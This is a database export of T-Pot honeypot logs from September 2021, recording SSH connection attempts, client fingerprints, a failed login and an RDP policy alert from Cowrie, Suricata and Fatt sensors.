27654	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:15:11.055061+03	2021-09-20 14:30:01.751524+03	{"_id": "oQbqAnwBvYTbRNuEwSl3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.89.194.160:36088 (192.168.176.2:22) [session: 0ea6c61a8bca]", "session": "0ea6c61a8bca", "@version": "1", "protocol": "ssh", "src_port": 36088, "dest_port": 22, "timestamp": "2021-09-20T11:15:11.055061Z", "@timestamp": "2021-09-20T11:15:11.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
27655	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:10.864827+03	2021-09-20 14:30:01.753524+03	{"_id": "qAbqAnwBvYTbRNuEwSl3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2e036f571af5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:10.864827Z", "@timestamp": "2021-09-20T11:15:10.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27656	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:11.03955+03	2021-09-20 14:30:01.754524+03	{"_id": "pQbqAnwBvYTbRNuEwSl3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c96c725a9b8f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:11.039550Z", "@timestamp": "2021-09-20T11:15:11.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27657	159.89.194.160	109.199.241.180	Cowrie	2021-09-20 14:15:11.05574+03	2021-09-20 14:30:01.755524+03	{"_id": "pgbqAnwBvYTbRNuEwSl3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.89.194.160", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.89.194.160", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0ea6c61a8bca", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:15:11.055740Z", "@timestamp": "2021-09-20T11:15:11.055Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27658	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:15:09.06106+03	2021-09-20 14:30:01.756524+03	{"_id": "agbqAnwBvYTbRNuEtyml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 871805031857636, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 37458, "dest_port": 22, "timestamp": "2021-09-20T11:15:09.061060Z", "@timestamp": "2021-09-20T11:15:09.061Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27659	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:15:08.858403+03	2021-09-20 14:30:01.758524+03	{"_id": "aQbqAnwBvYTbRNuEtyml", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:15:08.418305+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1409236437066241, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 50255, "timestamp": "2021-09-20T11:15:08.858403Z", "@timestamp": "2021-09-20T11:15:08.858Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
27660	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:15:08.486888+03	2021-09-20 14:30:01.759523+03	{"_id": "bQbqAnwBvYTbRNuEuCnh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53696, "dest_port": 22, "timestamp": "2021-09-20T11:15:08.486888", "@timestamp": "2021-09-20T11:15:08.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27661	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:15:08.741593+03	2021-09-20 14:30:01.760524+03	{"_id": "bgbqAnwBvYTbRNuEuCnh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 50255, "dest_port": 3389, "timestamp": "2021-09-20T11:15:08.741593", "@timestamp": "2021-09-20T11:15:08.741Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
27662	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:15:10.42562+03	2021-09-20 14:30:01.761524+03	{"_id": "dwbqAnwBvYTbRNuEvCnJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 52524, "dest_port": 22, "timestamp": "2021-09-20T11:15:10.425620", "@timestamp": "2021-09-20T11:15:10.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27663	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:09.903969+03	2021-09-20 14:30:01.763523+03	{"_id": "eQbqAnwBvYTbRNuEvSmM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [dean/dean] failed", "session": "7b47fb85472e", "@version": "1", "password": "dean", "username": "dean", "timestamp": "2021-09-20T11:15:09.903969Z", "@timestamp": "2021-09-20T11:15:09.903Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27664	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:09.794751+03	2021-09-20 14:30:01.764524+03	{"_id": "egbqAnwBvYTbRNuEvSmN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "6acaeeb0096d", "@version": "1", "duration": 6.536900281906128, "timestamp": "2021-09-20T11:15:09.794751Z", "@timestamp": "2021-09-20T11:15:09.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27665	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:10.50466+03	2021-09-20 14:30:01.765524+03	{"_id": "ewbqAnwBvYTbRNuEvSmN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 10 seconds", "session": "4e299524a7a1", "@version": "1", "duration": 10.965619325637817, "timestamp": "2021-09-20T11:15:10.504660Z", "@timestamp": "2021-09-20T11:15:10.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27666	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:15:10.14589+03	2021-09-20 14:30:01.766524+03	{"_id": "hwbqAnwBvYTbRNuEvSmQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:52524 (192.168.176.2:22) [session: b2e99793ae39]", "session": "b2e99793ae39", "@version": "1", "protocol": "ssh", "src_port": 52524, "dest_port": 22, "timestamp": "2021-09-20T11:15:10.145890Z", "@timestamp": "2021-09-20T11:15:10.145Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27667	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:15:09.942525+03	2021-09-20 14:30:01.767524+03	{"_id": "gwbqAnwBvYTbRNuEvSmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 61 seconds", "session": "9e29758cf749", "@version": "1", "duration": 61.10753607749939, "timestamp": "2021-09-20T11:15:09.942525Z", "@timestamp": "2021-09-20T11:15:09.942Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27668	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:10.354888+03	2021-09-20 14:30:01.768525+03	{"_id": "hQbqAnwBvYTbRNuEvSmP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "8e29cb4e7ead", "@version": "1", "duration": 3.529198408126831, "timestamp": "2021-09-20T11:15:10.354888Z", "@timestamp": "2021-09-20T11:15:10.354Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27669	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:15:10.36028+03	2021-09-20 14:30:01.770523+03	{"_id": "lQbqAnwBvYTbRNuEvyl1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1064290433711297, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52524, "dest_port": 22, "timestamp": "2021-09-20T11:15:10.360280Z", "@timestamp": "2021-09-20T11:15:10.360Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27670	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:10.889377+03	2021-09-20 14:30:01.771524+03	{"_id": "pwbqAnwBvYTbRNuEwSl3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:39006 (192.168.176.2:22) [session: c96c725a9b8f]", "session": "c96c725a9b8f", "@version": "1", "protocol": "ssh", "src_port": 39006, "dest_port": 22, "timestamp": "2021-09-20T11:15:10.889377Z", "@timestamp": "2021-09-20T11:15:10.889Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
